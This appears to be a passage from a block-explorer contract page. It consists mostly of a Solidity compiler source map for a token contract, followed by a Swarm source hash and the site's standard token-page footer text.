1:-1:-1;;;;13640:18:0::1;-1:-1:-1::0;;;13640:18:0::1;::::0;;13682:12:::1;13669:10;:25:::0;12896:806::o;7256:335::-;-1:-1:-1;;;;;7349:19:0;;7341:68;;;;-1:-1:-1;;;7341:68:0;;9076:2:1;7341:68:0;;;9058:21:1;9115:2;9095:18;;;9088:30;9154:34;9134:18;;;9127:62;-1:-1:-1;;;9205:18:1;;;9198:34;9249:19;;7341:68:0;8874:400:1;7341:68:0;-1:-1:-1;;;;;7428:21:0;;7420:68;;;;-1:-1:-1;;;7420:68:0;;9481:2:1;7420:68:0;;;9463:21:1;9520:2;9500:18;;;9493:30;9559:34;9539:18;;;9532:62;-1:-1:-1;;;9610:18:1;;;9603:32;9652:19;;7420:68:0;9279:398:1;7420:68:0;-1:-1:-1;;;;;7499:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7551:32;;1361:25:1;;;7551:32:0;;1334:18:1;7551:32:0;;;;;;;7256:335;;;:::o;7703:3556::-;-1:-1:-1;;;;;7791:18:0;;7783:68;;;;-1:-1:-1;;;7783:68:0;;9884:2:1;7783:68:0;;;9866:21:1;9923:2;9903:18;;;9896:30;9962:34;9942:18;;;9935:62;-1:-1:-1;;;10013:18:1;;;10006:35;10058:19;;7783:68:0;9682:401:1;7783:68:0;-1:-1:-1;;;;;7870:16:0;;7862:64;;;;-1:-1:-1;;;7862:64:0;;10290:2:1;7862:64:0;;;10272:21:1;10329:2;10309:18;;;10302:30;10368:34;10348:18;;;10341:62;-1:-1:-1;;;10419:18:1;;;10412:33;10462:19;;7862:64:0;10088:399:1;7862:64:0;7954:1;7945:6;:10;7937:64;;;;-1:-1:-1;;;7937:64:0;;10694:2:1;7937:64:0;;;10676:21:1;10733:2;10713:18;;;10706:30;10772:34;10752:18;;;10745:62;-1:-1:-1;;;10823:18:1;;;10816:39;10872:19;;7937:64:0;10492:405:1;7937:64:0;8012:17;8061:6;8090:7;2537;2564:6;-1:-1:-1;;;;;2564:6:0;;2499:79;8090:7;-1:-1:-1;;;;;8082:15:0;:4;-1:-1:-1;;;;;8082:15:0;;;:32;;;;-1:-1:-1;2537:7:0;2564:6;-1:-1:-1;;;;;8101:13:0;;;2564:6;;8101:13;;8082:32;8078:2823;;;8143:79;8218:3;8143:70;8166:15;;8155:9;;:26;8154:58;;8198:14;;8154:58;;;8184:12;;8154:58;8143:6;;:10;:70::i;:::-;:74;;:79::i;:::-;8131:91;;8270:10;;8254:12;:26;8251:184;;8319:12;8307:25;;;;:11;:25;;;;;;8335:2;-1:-1:-1;8299:75:0;;;;-1:-1:-1;;;8299:75:0;;11104:2:1;8299:75:0;;;11086:21:1;;;11123:18;;;11116:30;11182:34;11162:18;;;11155:62;11234:18;;8299:75:0;10902:356:1;8299:75:0;8404:12;8392:25;;;;:11;:25;;;;;:27;;;;;;:::i;:::-;;;;;;8251:184;-1:-1:-1;;;;;8455:16:0;;;;;;:10;:16;;;;;;;;:50;;;;-1:-1:-1;8489:15:0;;-1:-1:-1;;;;;8475:30:0;;;8489:15;;8475:30;;8455:50;:67;;;;-1:-1:-1;;;;;;8511:11:0;;;;;;:7;:11;;;;;;;;8509:13;8455:67;8451:297;;;8562:12;;8552:6;:22;;8544:60;;;;-1:-1:-1;;;8544:60:0;;11605:2:1;8544:60:0;;;11587:21:1;11644:2;11624:18;;;11617:30;11683:27;11663:18;;;11656:55;11728:18;;8544:60:0;11403:349:1;8544:60:0;8657:14;;8647:6;8631:13;8641:2;-1:-1:-1;;;;;6406:18:0;6379:7;6406:18;;;:9;:18;;;;;;;6313:119;8631:13;:22;;;;:::i;:::-;:40;;8623:79;;;;-1:-1:-1;;;8623:79:0;;12089:2:1;8623:79:0;;;12071:21:1;12128:2;12108:18;;;12101:30;12167:28;12147:18;;;12140:56;12213:18;;8623:79:0;11887:350:1;8623:79:0;8721:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8451:297;-1:-1:-1;;;;;8769:14:0;;;;;;:10;:14;;;;;;;;8768:15;:32;;;;-1:-1:-1;;;;;;8789:11:0;;;;;;:7;:11;;;;;;;;8787:13;8768:32;8764:152;;;8855:14;;8845:6;8829:13;8839:2;-1:-1:-1;;;;;6406:18:0;6379:7;6406:18;;;:9;:18;;;;;;;6313:119;8829:13;:22;;;;:::i;:::-;:40;;8821:79;;;;-1:-1:-1;;;8821:79:0;;12089:2:1;8821:79:0;;;12071:21:1;12128:2;12108:18;;;12101:30;12167:28;12147:18;;;12140:56;12213:18;;8821:79:0;11887:350:1;8821:79:0;-1:-1:-1;;;;;8935:14:0;;;;;;:10;:14;;;;;;;;:38;;;;-1:-1:-1;;;;;;8953:20:0;;8968:4;8953:20;;8935:38;8932:172;;;9006:82;9084:3;9006:73;9029:16;;9018:9;;:27;9017:61;;9063:15;;9017:61;;;9048:13;;9006:6;;:10;:73::i;:82::-;8994:94;;8932:172;-1:-1:-1;;;;;9123:21:0;;9139:4;9123:21;;;;:38;;-1:-1:-1;;;;;;9148:13:0;;;;;;:7;:13;;;;;;;;9123:38;9120:467;;;9181:20;9251:12;;9241:6;:22;9224:348;;-1:-1:-1;9322:2:0;9224:348;;;9423:16;;9412:9;;:27;:60;;9457:15;;9412:60;;;9442:13;;9412:60;9510:12;;9396:76;;-1:-1:-1;9506:46:0;;9525:26;:8;9396:76;9525:12;:26::i;:::-;9506:3;:46::i;:::-;9495:57;;9224:348;9162:425;9120:467;-1:-1:-1;;;;;9599:16:0;;;;;;:10;:16;;;;;;;;9598:17;:36;;;;-1:-1:-1;;;;;;9620:14:0;;;;;;:10;:14;;;;;;;;9619:15;9598:36;:60;;;;-1:-1:-1;;;;;;9638:20:0;;9653:4;9638:20;;9598:60;9594:115;;;9692:1;9680:13;;9594:115;9774:4;9725:28;6406:18;;;:9;:18;;;;;;9799:10;;;;;;;:21;;;;-1:-1:-1;9814:6:0;;;;9813:7;9799:21;:39;;;;-1:-1:-1;;;;;;9824:14:0;;;;;;:10;:14;;;;;;;;9799:39;:54;;;;-1:-1:-1;9842:11:0;;;;;;;9799:54;:86;;;;;9867:18;;9857:9;;:28;9799:86;9795:1095;;;9925:13;;9910:12;:28;9906:90;;;9975:1;9963:9;:13;9906:90;10039:17;;10018:20;:38;10014:132;;;10079:67;10096:49;10100:6;10107:37;10111:20;10132:11;;10107:3;:37::i;10096:49::-;10079:16;:67::i;:::-;10194:21;10285:35;10298:21;10285:12;:35::i;:::-;10358:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;10404:12:0;10388:13;:28;-1:-1:-1;9795:1095:0;;;10457:6;;;;10456:7;:25;;;;-1:-1:-1;;;;;;10467:14:0;;;;;;:10;:14;;;;;;;;10456:25;:40;;;;-1:-1:-1;10485:11:0;;;;;;;10456:40;:72;;;;;10510:18;;10500:9;;:28;10456:72;10453:437;;;10574:17;;10553:20;:38;10549:132;;;10614:67;10631:49;10635:6;10642:37;10646:20;10667:11;;10642:3;:37::i;10614:67::-;10729:21;10820:35;10833:21;10820:12;:35::i;:::-;10530:360;10453:437;8116:2785;8078:2823;10916:11;;10913:161;;10984:4;10966:24;;;;:9;:24;;;;;;:39;;10995:9;10966:28;:39::i;:::-;10959:4;10941:24;;;;:9;:24;;;;;;;:64;;;;11023:39;;-1:-1:-1;;;;;11023:39:0;;;;;;;11052:9;1361:25:1;;1349:2;1334:18;;1215:177;11023:39:0;;;;;;;;10913:161;-1:-1:-1;;;;;11100:15:0;;;;;;:9;:15;;;;;;:29;;11120:8;11100:19;:29::i;:::-;-1:-1:-1;;;;;11084:15:0;;;;;;:9;:15;;;;;:45;11154:40;11172:21;:6;11183:9;11172:10;:21::i;:::-;-1:-1:-1;;;;;11154:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11140:13:0;;;;;;;:9;:13;;;;;:54;;;;11210:41;;;11229:21;:6;11240:9;11229:10;:21::i;:::-;11210:41;;1361:25:1;;;1349:2;1334:18;11210:41:0;;;;;;;7772:3487;;7703:3556;;;:::o;1391:190::-;1477:7;1513:12;1505:6;;;;1497:29;;;;-1:-1:-1;;;1497:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1537:9:0;1549:5;1553:1;1549;:5;:::i;:::-;1537:17;1391:190;-1:-1:-1;;;;;1391:190:0:o;1589:246::-;1647:7;1671:1;1676;1671:6;1667:47;;-1:-1:-1;1701:1:0;1694:8;;1667:47;1724:9;1736:5;1740:1;1736;:5;:::i;:::-;1724:17;-1:-1:-1;1769:1:0;1760:5;1764:1;1724:17;1760:5;:::i;:::-;:10;1752:56;;;;-1:-1:-1;;;1752:56:0;;12799:2:1;1752:56:0;;;12781:21:1;12838:2;12818:18;;;12811:30;12877:34;12857:18;;;12850:62;-1:-1:-1;;;12928:18:1;;;12921:31;12969:19;;1752:56:0;12597:397:1;1752:56:0;1826:1;1589:246;-1:-1:-1;;;1589:246:0:o;1843:132::-;1901:7;1928:39;1932:1;1935;1928:39;;;;;;;;;;;;;;;;;:3;:39::i;11269:98::-;11326:7;11353:1;11351;:3;11350:9;;11358:1;11350:9;;;-1:-1:-1;11356:1:0;11269:98;-1:-1:-1;11269:98:0:o;11375:483::-;5519:6;:13;;-1:-1:-1;;5519:13:0;5528:4;5519:13;;;11477:16:::1;::::0;;11491:1:::1;11477:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11477:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11477:16:0::1;11453:40;;11522:4;11504;11509:1;11504:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11504:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11548:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11548:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11504:7;;11548:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11538:4;11543:1;11538:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11538:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11613:15:::1;::::0;11581:62:::1;::::0;11598:4:::1;::::0;11613:15:::1;11631:11:::0;11581:8:::1;:62::i;:::-;11654:15;::::0;:196:::1;::::0;-1:-1:-1;;;11654:196:0;;-1:-1:-1;;;;;11654:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11735:11;;11654:15:::1;::::0;11777:4;;11804::::1;::::0;11824:15:::1;::::0;11654:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5555:6:0;:14;;-1:-1:-1;;5555:14:0;;;-1:-1:-1;;;;11375:483:0:o;12796:92::-;12853:10;;:27;;-1:-1:-1;;;;;12853:10:0;;;;:27;;;;;12873:6;;12853:10;:27;:10;:27;12873:6;12853:10;:27;;;;;;;;;;;;;;;;;;;;;12796:92;:::o;1060:179::-;1118:7;;1150:5;1154:1;1150;:5;:::i;:::-;1138:17;;1179:1;1174;:6;;1166:46;;;;-1:-1:-1;;;1166:46:0;;14450:2:1;1166:46:0;;;14432:21:1;14489:2;14469:18;;;14462:30;14528:29;14508:18;;;14501:57;14575:18;;1166:46:0;14248:351:1;1247:136:0;1305:7;1332:43;1336:1;1339;1332:43;;;;;;;;;;;;;;;;;:3;:43::i;1983:189::-;2069:7;2104:12;2097:5;2089:28;;;;-1:-1:-1;;;2089:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2128:9:0;2140:5;2144:1;2140;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:180::-;2566:6;2619:2;2607:9;2598:7;2594:23;2590:32;2587:52;;;2635:1;2632;2625:12;2587:52;-1:-1:-1;2658:23:1;;2507:180;-1:-1:-1;2507:180:1:o;2692:118::-;2778:5;2771:13;2764:21;2757:5;2754:32;2744:60;;2800:1;2797;2790:12;2815:241;2871:6;2924:2;2912:9;2903:7;2899:23;2895:32;2892:52;;;2940:1;2937;2930:12;2892:52;2979:9;2966:23;2998:28;3020:5;2998:28;:::i;3061:388::-;3129:6;3137;3190:2;3178:9;3169:7;3165:23;3161:32;3158:52;;;3206:1;3203;3196:12;3158:52;3245:9;3232:23;3264:31;3289:5;3264:31;:::i;:::-;3314:5;-1:-1:-1;3371:2:1;3356:18;;3343:32;3384:33;3343:32;3384:33;:::i;:::-;3436:7;3426:17;;;3061:388;;;;;:::o;3454:309::-;3519:6;3527;3580:2;3568:9;3559:7;3555:23;3551:32;3548:52;;;3596:1;3593;3586:12;3548:52;3635:9;3622:23;3654:28;3676:5;3654:28;:::i;3768:356::-;3970:2;3952:21;;;3989:18;;;3982:30;4048:34;4043:2;4028:18;;4021:62;4115:2;4100:18;;3768:356::o;4129:127::-;4190:10;4185:3;4181:20;4178:1;4171:31;4221:4;4218:1;4211:15;4245:4;4242:1;4235:15;4261:416;4350:1;4387:5;4350:1;4401:270;4422:7;4412:8;4409:21;4401:270;;;4481:4;4477:1;4473:6;4469:17;4463:4;4460:27;4457:53;;;4490:18;;:::i;:::-;4540:7;4530:8;4526:22;4523:55;;;4560:16;;;;4523:55;4639:22;;;;4599:15;;;;4401:270;;;4405:3;4261:416;;;;;:::o;4682:806::-;4731:5;4761:8;4751:80;;-1:-1:-1;4802:1:1;4816:5;;4751:80;4850:4;4840:76;;-1:-1:-1;4887:1:1;4901:5;;4840:76;4932:4;4950:1;4945:59;;;;5018:1;5013:130;;;;4925:218;;4945:59;4975:1;4966:10;;4989:5;;;5013:130;5050:3;5040:8;5037:17;5034:43;;;5057:18;;:::i;:::-;-1:-1:-1;;5113:1:1;5099:16;;5128:5;;4925:218;;5227:2;5217:8;5214:16;5208:3;5202:4;5199:13;5195:36;5189:2;5179:8;5176:16;5171:2;5165:4;5162:12;5158:35;5155:77;5152:159;;;-1:-1:-1;5264:19:1;;;5296:5;;5152:159;5343:34;5368:8;5362:4;5343:34;:::i;:::-;5413:6;5409:1;5405:6;5401:19;5392:7;5389:32;5386:58;;;5424:18;;:::i;:::-;5462:20;;4682:806;-1:-1:-1;;;4682:806:1:o;5493:140::-;5551:5;5580:47;5621:4;5611:8;5607:19;5601:4;5580:47;:::i;5638:168::-;5711:9;;;5742;;5759:15;;;5753:22;;5739:37;5729:71;;5780:18;;:::i;6098:245::-;6165:6;6218:2;6206:9;6197:7;6193:23;6189:32;6186:52;;;6234:1;6231;6224:12;6186:52;6266:9;6260:16;6285:28;6307:5;6285:28;:::i;7107:251::-;7177:6;7230:2;7218:9;7209:7;7205:23;7201:32;7198:52;;;7246:1;7243;7236:12;7198:52;7278:9;7272:16;7297:31;7322:5;7297:31;:::i;8284:306::-;8372:6;8380;8388;8441:2;8429:9;8420:7;8416:23;8412:32;8409:52;;;8457:1;8454;8447:12;8409:52;8486:9;8480:16;8470:26;;8536:2;8525:9;8521:18;8515:25;8505:35;;8580:2;8569:9;8565:18;8559:25;8549:35;;8284:306;;;;;:::o;11263:135::-;11302:3;11323:17;;;11320:43;;11343:18;;:::i;:::-;-1:-1:-1;11390:1:1;11379:13;;11263:135::o;11757:125::-;11822:9;;;11843:10;;;11840:36;;;11856:18;;:::i;12242:128::-;12309:9;;;12330:11;;;12327:37;;;12344:18;;:::i;12375:217::-;12415:1;12441;12431:132;;12485:10;12480:3;12476:20;12473:1;12466:31;12520:4;12517:1;12510:15;12548:4;12545:1;12538:15;12431:132;-1:-1:-1;12577:9:1;;12375:217::o;13131:127::-;13192:10;13187:3;13183:20;13180:1;13173:31;13223:4;13220:1;13213:15;13247:4;13244:1;13237:15;13263:980;13525:4;13573:3;13562:9;13558:19;13604:6;13593:9;13586:25;13630:2;13668:6;13663:2;13652:9;13648:18;13641:34;13711:3;13706:2;13695:9;13691:18;13684:31;13735:6;13770;13764:13;13801:6;13793;13786:22;13839:3;13828:9;13824:19;13817:26;;13878:2;13870:6;13866:15;13852:29;;13899:1;13909:195;13923:6;13920:1;13917:13;13909:195;;;13988:13;;-1:-1:-1;;;;;13984:39:1;13972:52;;14079:15;;;;14044:12;;;;14020:1;13938:9;13909:195;;;-1:-1:-1;;;;;;;14160:32:1;;;;14155:2;14140:18;;14133:60;-1:-1:-1;;;14224:3:1;14209:19;14202:35;14121:3;13263:980;-1:-1:-1;;;13263:980:1:o

Swarm Source

ipfs://64f0a2c9fe1330e93856cc2c46f2d15e15b831ccf3231499fdf7eef872d024f0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.